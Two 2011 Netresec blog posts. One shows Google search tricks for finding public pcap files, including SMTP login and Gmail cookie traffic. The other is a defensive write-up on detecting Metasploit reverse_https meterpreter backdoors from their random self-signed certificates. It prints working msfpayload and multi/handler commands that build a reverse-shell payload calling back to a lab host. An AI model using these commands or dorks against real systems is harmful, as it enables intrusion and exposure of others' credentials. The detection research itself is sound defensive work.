Find PCAP files with Google

We at Netresec maintain a list showing where pcap files can be found on the Internet. Some pcap repositories in this list, like Pcapr and OpenPacket.org have quite extensive lists of pcap files with indexed meta data about what protocols each pcap file contains.

However, sometimes I find my self in need of traffic from some particular application or protocol, which I'm not able to generate myself. These are situations when I turn to Google for answers. In the spirit of “Google hacking” you can use keywords like “filetype:pcap” or “ext:pcap” to find pcap files. You can also add the letter í (notice the acute accent) to the search query in order to remove some non-pcap files from the search results. The reason why this works is because Google interpret a part of the PCAP file header fields as the letter í. It is also usually a good idea to further limit your search by adding some data specific for the traffic you're looking for into the search query.

You can, for example, use this query to find SMTP traffic (VXNlcm5hbWU6 is 'Username:' Base64 encoded):

í VXNlcm5hbWU6 ext:pcap

You can find Gmail traffic with (notice the use of the gmailchat cookie):

í gmailchat ext:cap

SMB / CIFS traffic can be found with:

í SMB ext:pcap

I think you get the hang of this now...

Happy Googling!

Posted by Erik Hjelmvik on Sunday, 17 July 2011 09:31:00 (UTC/GMT)

Tags: #PCAP​ #Google​

How to detect reverse_https backdoors

According to Mandiant 83% of all backdoors used by APT attackers are outgoing sessions to TCP port 80 or 443. The reason for why APT, as well as other attackers, are using these two ports is primarily because most organizations allow outgoing connections on TCP 80 as well as 443. Many organizations try to counter this by using web-proxies, which can inspect the HTTP traffic and block any malicious behavior. But TCP 443 cannot be inspected in this way since SSL relies on end-to-end encryption. By end-to-end encryption I mean that the session must be encrypted all the way from the server to the client without having any SSL proxies or MITM devices that break the encryption between the server and client. Inserting an SSL proxy would typically result in a certificate error in the client's web browser. TCP 443 is therefore left untouched on most organizations' Internet connections.

In Operation Aurora (where Google, Adobe and other high profile companies were attacked) the attackers used TCP 443 as a command and control protocol. When McAfee investigated the Aurora attacks they noticed that the traffic over TCP 443 wasn't SSL, but “a custom encrypted protocol”. In fact McAfee noted that the backdoor always started out with the client sending the following 20 bytes to a command and control (C&C) server:

ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff

Such poorly designed C&C protocols can easily be detected with static IDS signatures, which could simply match on the initial chunk of static data. Jaime Blasco actually wrote such a Snort signature for the "ET TROJAN Aurora C&C Checkin".

But what if the attacker uses a proper outgoing SSL session for the command and control backdoor? Such a feature would prevent most passive IDS and IPS products from detecting the backdoor, since the C&C sessions would have to be MITM'ed in order to reveal their contents.

Metasploit's reverse_https

The popular penetration testing framework Metasploit was recently extended with support for “reverse_https”. With reverse_https a pen tester can have compromised machines establish meterpreter backdoor connections inside of real SSL sessions.

I decided to try this functionality out for myself in order to see if these SSL backdoors can somehow be detected through analysis of the network traffic.

The first step was to generate a windows binary that will establish the SSL enabled meterpreter backdoor from the client:

# ./msfpayload windows/meterpreter/reverse_https LHOST=10.13.37.6 LPORT=443 X> /tmp/reverse_https_443.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_https
Length: 366
Options: {"LHOST"=>"10.13.37.6", "LPORT"=>"443"}

I then started msfconsole and activated the reverse_https meterpreter multihandler:

# ./msfconsole

=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 10.13.37.6
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started HTTPS reverse handler on https://10.13.37.6:443/
[*] Starting the payload handler...

I thereafter copied the file “reverse_https_443.exe” to the victim Windows machine, and after executing it I cold see a proper SSL session being established from the victim to the metasploit machine:

So what information could an incident responder or network forensics investigator use in order to reveal that this SSL session wasn't just normal HTTPS web surfing?

Well, something that many people aren't aware of is that the initial part of an SSL session isn't encrypted. In fact, there are some pieces of relevant information being transmitted in clear text, especially the X.509 certificate that is sent from the SSL server.

NetworkMiner extracts any X.509 certificates from SSL sessions going to TCP ports 443, 465, 563, 992, 993, 994, 995, 989, 990, 5223, 8170, 8443, 9001 and 9030. NetworkMiner Professional, on the other hand, automatically detects SSL/TLS sessions regardless of port number and can therefore extract X.509 certificate also from non-standard SSL ports. I therefore simply opened up some captured network traffic containing reverse_https traffic in NetworkMiner Professional in order to have it write the certificates to disk.

From the three loaded pcap files above NetworkMiner also extracted three different X.509 certificates. Notice that the filename of the generated “.cer” file is built from the Common Name (CN), which should be the domain name of the SSL-enabled server. The CN's of the certs extracted from the reverse_https traffic does, however, not make any sense (they aren't real DNS hosts). I therefore used OpenSSL to look closer at the .cer files.

$ openssl x509 -inform DER -noout -text -in 9f.yr6pjr0szk.9totrpxqe.m.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: -733922202 (-0x2bbec39a)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=AZ, L=xaprmubDjHJDPfEEWYeLx, O=zXUImDczrRMXYRMtucfHVqfLWrXm, CN=st.ua.r4pvl.gov
Validity
Not Before: Jun 21 08:17:11 2011 GMT
Not After : Jul 21 18:17:11 2011 GMT
Subject: C=US, ST=MD, L=CekyMPKEVYAWDNCB, O=BiPhXOWuQEEmjtZHTcbHIgEgudq, CN=9f.yr6pjr0szk.9totrpxqe.m7klwbakio.twm.gov
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:bd:04:1d:8b:63:c0:c5:65:5b:8e:5b:b8:58:57:
7f:f5:a6:bf:63:6a:c7:fd:e3:96:32:3b:e4:da:10:
d9:2a:c1:68:30:0b:7f:29:61:ee:16:98:3f:f1:11:
5c:5e:1a:63:fb:a5:09:21:71:08:9e:2f:6c:03:71:
17:29:0f:57:88:65:d1:76:67:82:19:7a:97:83:87:
aa:30:6b:9b:63:61:fc:19:d7:e9:3a:6b:1b:39:cf:
cc:e4:50:cb:e9:d9:c4:87:70:a9:51:fc:41:eb:bc:
4c:0d:ec:78:0b:63:bb:e2:93:9d:17:d8:4c:03:f2:
63:9e:0f:39:82:89:29:e9:87
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Subject Key Identifier:
36:01:45:DA:CD:CE:2D:1C:16:35:50:48:B8:B3:3D:AF:90:28:53:C5
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:36:01:45:DA:CD:CE:2D:1C:16:35:50:48:B8:B3:3D:AF:90:28:53:C5
DirName:/C=US/ST=AZ/L=xaprmubDjHJDPfEEWYeLx/O=zXUImDczrRMXYRMtucfHVqfLWrXm/CN=st.ua.r4pvl.gov
serial:D4:41:3C:66

Signature Algorithm: sha1WithRSAEncryption
88:37:53:9f:cb:39:0a:19:5e:6c:b7:3a:a7:03:f1:ce:ac:75:
e8:4d:57:03:2d:db:62:3c:91:44:b3:32:e8:69:11:a9:b7:31:
81:b3:5e:d2:16:a6:4b:9b:ad:be:a7:20:a8:db:0e:01:0c:f7:
c2:d2:e1:a9:f8:c5:aa:36:bf:f0:30:36:48:85:de:ad:80:a8:
63:37:b8:8c:07:b0:51:bb:7f:3b:d5:67:50:f6:7b:f2:d7:be:
19:b5:6b:db:13:43:f5:f0:3d:80:11:18:22:29:e9:47:fa:48:
d2:3d:8b:4a:f6:e7:8e:08:f5:38:bb:f1:63:26:1f:63:c0:3c:
90:40

$ openssl x509 -inform DER -noout -text -in da07.l.com.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: -604506869 (-0x24080af5)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=VA, L=tigHlRKNLUgNdtZDYbrXg, O=bRzvgbfYRydWIzNIUcUuCCyaFGo, CN=tegl.9dlpdm2.klr3pqkh.gov
Validity
Not Before: Jun 24 07:30:49 2011 GMT
Not After : Jul 24 17:30:49 2011 GMT
Subject: C=US, ST=KS, L=DJakaGdxLmrsm, O=uRQXLZzhIMLNrwxFdGvfZaEwgZp, CN=da07.l.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:a6:a0:e7:b9:8c:e0:54:a4:c8:14:cc:cd:ca:af:
72:d5:74:cc:a8:ae:ce:f8:02:35:92:23:b8:99:53:
66:79:16:f3:64:25:d0:1e:2f:a9:78:53:c9:85:56:
cb:eb:ad:fe:1f:b3:87:b2:37:f3:fa:38:de:dd:b3:
53:ae:bd:94:50:4b:08:9d:bf:de:59:cf:a5:84:cb:
1d:80:1b:5e:d6:5a:17:6c:34:4e:49:82:82:85:28:
e7:10:fb:8c:0f:4b:93:c5:02:a9:2b:f6:eb:98:a7:
a6:89:27:97:e9:30:b0:75:2c:dc:0d:02:a7:69:e4:
63:01:a7:f1:d0:ea:c9:b7:8f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Subject Key Identifier:
C3:FA:23:D2:32:CA:E2:C1:0B:2F:D5:A0:4B:36:12:C8:3E:E4:01:2E
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:C3:FA:23:D2:32:CA:E2:C1:0B:2F:D5:A0:4B:36:12:C8:3E:E4:01:2E
DirName:/C=US/ST=VA/L=tigHlRKNLUgNdtZDYbrXg/O=bRzvgbfYRydWIzNIUcUuCCyaFGo/CN=tegl.9dlpdm2.klr3pqkh.gov
serial:DB:F7:F5:0B

Signature Algorithm: sha1WithRSAEncryption
96:1b:e1:0f:b4:ed:ea:8d:f5:4e:2c:20:1d:1d:d7:70:fd:74:
2d:1d:69:9e:55:93:b0:81:0f:a6:09:e2:3a:e2:28:61:f7:f9:
96:e6:a9:61:57:36:5e:83:99:b1:1b:c8:05:ce:d3:ee:f2:de:
ec:19:82:36:c4:59:43:b2:99:ab:e6:36:db:ce:f5:05:66:f5:
a5:11:d4:2f:68:30:a6:df:0c:7c:ba:e9:36:09:7f:7c:63:21:
45:42:2e:8b:93:fe:05:82:0d:83:5f:b1:45:d2:f5:96:1c:68:
c6:1a:ce:16:b1:06:c3:cc:50:21:e6:45:5b:7e:d7:99:26:de:
d5:05

$ openssl x509 -inform DER -noout -text -in imtb8yp.7kh.on4nyye.s8dgv.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: -578853718 (-0x22809b56)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=WA, L=ZtwHCLKrKdUtvYLQ, O=KHjTGIuuHFvGNbvFudaUfGztPoNf, CN=otppnldrg.r.hvxu.net
Validity
Not Before: Jun 24 07:36:40 2011 GMT
Not After : Jul 24 17:36:40 2011 GMT
Subject: C=US, ST=CO, L=gqKLcJHtJFmbSxVoIs, O=vJcarDAHufJWWmmVLdRxpEEbKS, CN=imtb8yp.7kh.on4nyye.s8dgvfq79s.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:b6:7a:83:44:14:e0:a5:63:5d:a2:0a:bf:e2:06:
f3:65:59:d4:7b:aa:14:45:72:29:36:41:78:20:cf:
6e:a4:c2:bd:1e:79:79:48:df:68:a0:24:30:36:cb:
15:f6:87:5c:74:da:68:59:84:69:3b:60:91:ee:13:
df:91:aa:b8:5a:56:a1:20:0d:12:0d:35:a0:3a:f0:
59:fa:c5:e7:44:9b:d6:c5:69:d1:c0:a2:bb:07:2d:
87:ca:3e:77:28:36:f3:f2:0e:db:d1:13:1b:5e:df:
89:54:e5:0b:9b:44:cd:dc:bf:f8:e3:72:63:64:84:
20:25:43:06:c0:10:c0:b1:a9
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Subject Key Identifier:
80:CB:F6:0F:B9:D5:EA:A3:35:12:DD:BB:AE:E4:36:C3:29:15:0A:D3
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:80:CB:F6:0F:B9:D5:EA:A3:35:12:DD:BB:AE:E4:36:C3:29:15:0A:D3
DirName:/C=US/ST=WA/L=ZtwHCLKrKdUtvYLQ/O=KHjTGIuuHFvGNbvFudaUfGztPoNf/CN=otppnldrg.r.hvxu.net
serial:DD:7F:64:AA

Signature Algorithm: sha1WithRSAEncryption
ac:2b:84:4b:34:74:4d:60:69:7b:07:fc:de:25:eb:60:01:5b:
3c:69:2c:42:d7:5b:49:19:27:65:55:61:07:3b:56:7b:db:90:
b4:2c:61:4b:2e:03:eb:72:ac:9e:20:4b:33:bf:dd:37:c3:8a:
04:9b:bb:5b:8e:09:1f:da:ef:1d:ea:de:a4:f6:87:ff:b0:a7:
26:70:00:42:71:11:17:bb:a5:7e:38:0b:c5:4e:88:c7:c4:35:
48:0e:0b:9e:48:a7:9e:9a:53:7e:20:40:27:1c:ef:03:e9:4b:
21:02:e1:34:09:f0:e7:97:74:bb:69:f0:b3:8c:bd:87:9a:2f:
87:7b

All three certificates seem to have randomly generated data in a lot of fields. The CN's of both the issuer and the certificate owner always seem to be in the following format: [RANDOM-DATA].com/gov/net. I also noticed that the validity period of all certificates was exactly one month. None of the certificates are, of course, not signed by any trusted CA (just as the case was with the TOR traffic I found in Richard Bejtlich's sample lab).

To sum up my findings, these are some indicators that can be used to detect Metasploit's reverse_https meterpreter sessions simply by passively looking at network traffic:

• The certificate isn't signed by a trusted CA
• The domain names are random (i.e. don't really exist)
• Domain names end with .com, .gov or .net
• Validity period is stated to be exactly one month

A more general approach would be to monitor all network traffic for certificates that are not signed by a trusted CA. Doing this would, of course, generate a lot of false positives, but I still believe it could be an effective part of a “Defensible Network Architecture”.

Posted by Erik Hjelmvik on Saturday, 09 July 2011 17:42:00 (UTC/GMT)

Tags: #Netresec​